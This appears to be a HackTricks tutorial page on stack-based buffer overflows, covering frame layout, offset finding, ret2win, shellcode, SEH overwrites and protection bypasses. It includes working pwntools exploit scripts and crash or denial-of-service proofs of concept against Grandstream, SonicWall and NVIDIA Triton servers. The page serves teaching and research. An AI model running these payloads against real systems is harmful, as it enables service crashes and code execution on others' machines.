> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# Stack Overflow

> How stack-based buffer overflows work, how to find and measure them, and the exploitation techniques that flow from controlling the saved return address.

A **stack overflow** (more precisely a stack-based buffer overflow) occurs when a program writes more data into a stack-allocated buffer than the buffer was sized to hold. The excess bytes spill into adjacent stack memory, potentially overwriting the **saved base pointer (EBP/RBP)** and the **saved return address (EIP/RIP)**. Because control flow returns to whatever address is stored in the saved return address, an attacker who controls that value controls program execution.

## How stack frames work

When a function is called, the CPU pushes the return address onto the stack, the callee saves the old frame pointer, and then allocates space for local variables. A typical 64-bit frame looks like this:

```text theme={null}
High addresses
+--------------------+
| ... caller frame   |
+--------------------+
| return address     |  <-- overwriting this gives EIP/RIP control
+--------------------+
| saved RBP          |
+--------------------+
| local variables    |
| char buf[128]      |  <-- overflow starts here
+--------------------+
Low addresses
```

Functions such as `gets`, `strcpy`, `strcat`, and `sprintf` copy data without checking the destination size, making them classic vulnerability triggers.

```c theme={null}
void vulnerable(void) {
    char buffer[128];
    printf("Enter input: ");
    gets(buffer);   // no bounds check — overflow possible
    printf("You entered: %s\n", buffer);
}
```

## Finding the offset to the return address

### Using a De Bruijn (cyclic) pattern

Send a non-repeating pattern as input, observe which bytes end up in the instruction pointer after the crash, and calculate the offset.

<Tabs>
  <Tab title="pwntools">
    ```python theme={null}
    from pwn import *

    # Generate a 500-byte De Bruijn pattern
    pattern = cyclic(500)

    # After crash, read the value from EIP/RIP and find the offset
    eip_value = p32(0x6161616c)          # example crash value (little-endian)
    offset = cyclic_find(eip_value)
    print(f"Offset to return address: {offset}")
    ```
  </Tab>

  <Tab title="GEF">
    ```bash theme={null}
    # Generate pattern inside GDB with GEF
    pattern create 200

    # After the crash, find offset by register value or pattern substring
    pattern search $rsp
    pattern search "avaaawaa"
    ```
  </Tab>
</Tabs>

## Exploitation techniques

### Ret2win

A ret2win challenge has a function inside the binary that is never called during normal execution — typically named `win`, `secret`, or similar. The exploit overwrites the return address with that function's address.

```python theme={null}
from pwn import *

binary = ELF('./challenge')
p = process(binary.path)

win_addr = binary.symbols['win']   # find the hidden function
offset   = 40                      # bytes until saved return address

payload  = b'A' * offset
payload += p64(win_addr)

p.sendline(payload)
p.interactive()
```

<Note>
  ASLR is typically disabled in ret2win challenges because the binary is not PIE; the function address is fixed at link time.
</Note>

### Stack shellcode

If the stack is executable (NX absent) and ASLR is disabled, you can place shellcode in the buffer and redirect execution to it.

```python theme={null}
from pwn import *

context.arch = 'amd64'
shellcode = asm(shellcraft.sh())   # generate /bin/sh shellcode
buf_addr  = 0xffffd4a0             # known stack address (no ASLR)
offset    = 40

payload  = shellcode
payload += b'A' * (offset - len(shellcode))
payload += p64(buf_addr)

p = process('./vuln')
p.sendline(payload)
p.interactive()
```

### ROP (when NX is enabled)

When the stack is non-executable, use Return-Oriented Programming to chain existing code fragments. See the dedicated [ROP page](/binary-exploitation/return-oriented-programming).

### Windows SEH overflow

On 32-bit Windows, structured exception handler (SEH) records are stored on the stack. An overflow can overwrite the SEH chain:

1. The `nSEH` field (4 bytes before the handler pointer) is set to a short jump (`\xeb\x06\x90\x90`) that skips over the handler pointer.
2. The handler pointer is replaced with the address of a `POP POP RET` gadget.
3. When the exception fires, `POP POP RET` redirects execution to `nSEH`, which jumps into the payload buffer.

## Real-world examples

<AccordionGroup>
  <Accordion title="CVE-2026-2329 — Grandstream GXP1600 (ARM, no auth)">
    The `/cgi-bin/api.values.get` endpoint copies each colon-delimited token into a 64-byte stack buffer without length checks. A token longer than 64 bytes corrupts saved registers. NX is enabled but there is no canary or PIE, so a ROP chain built from fixed addresses achieves code execution.

    ```bash theme={null}
    # Minimal crash PoC
    curl -ik http://<target>/cgi-bin/api.values.get \
      --data "request=$(python3 -c 'print("A"*256)')"
    ```
  </Accordion>

  <Accordion title="CVE-2025-40596 — SonicWall SMA100 (sscanf overflow)">
    An unbounded `%s` conversion in `sscanf` fills a 0x800-byte stack buffer from user-supplied URI data. Inputs longer than 0x800 bytes corrupt the stack canary and saved return address, causing a pre-authentication denial of service (and potentially RCE with an additional info leak).

    ```python theme={null}
    import requests, warnings
    warnings.filterwarnings('ignore')
    url = "https://TARGET/__api__/v1/" + "A" * 3000
    requests.get(url, verify=False)
    ```
  </Accordion>

  <Accordion title="CVE-2025-23310 — NVIDIA Triton Inference Server (alloca exhaustion)">
    `alloca()` is called with a size proportional to the number of HTTP chunked-transfer segments (16 bytes per segment). Sending hundreds of thousands of 6-byte chunks causes stack exhaustion without any bounds check, crashing the server.

    ```python theme={null}
    import socket

    def exploit(host='localhost', port=8000, chunks=523_800):
        s = socket.create_connection((host, port))
        s.sendall((
            f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
            f"Host: {host}:{port}\r\n"
            "Transfer-Encoding: chunked\r\n\r\n"
        ).encode())
        for _ in range(chunks):
            s.send(b"1\r\nA\r\n")
        s.sendall(b"0\r\n\r\n")
        s.close()
    ```
  </Accordion>
</AccordionGroup>

## Heap overflows

Overflows are not always on the stack. Heap-based overflows corrupt adjacent allocations and are covered in [heap exploitation](/binary-exploitation/heap-exploitation).

## Protections quick reference

| Protection   | What it does                            | Common bypass                            |
| ------------ | --------------------------------------- | ---------------------------------------- |
| Stack canary | Detects linear overwrites before return | Info leak, bruteforce in forking servers |
| NX / DEP     | Non-executable stack                    | Return-Oriented Programming              |
| ASLR         | Randomises stack/heap/lib addresses     | Info leak, partial overwrite             |
| PIE          | Randomises binary base                  | Info leak of code pointer                |
| Full RELRO   | Read-only GOT                           | Requires info leak and ROP               |
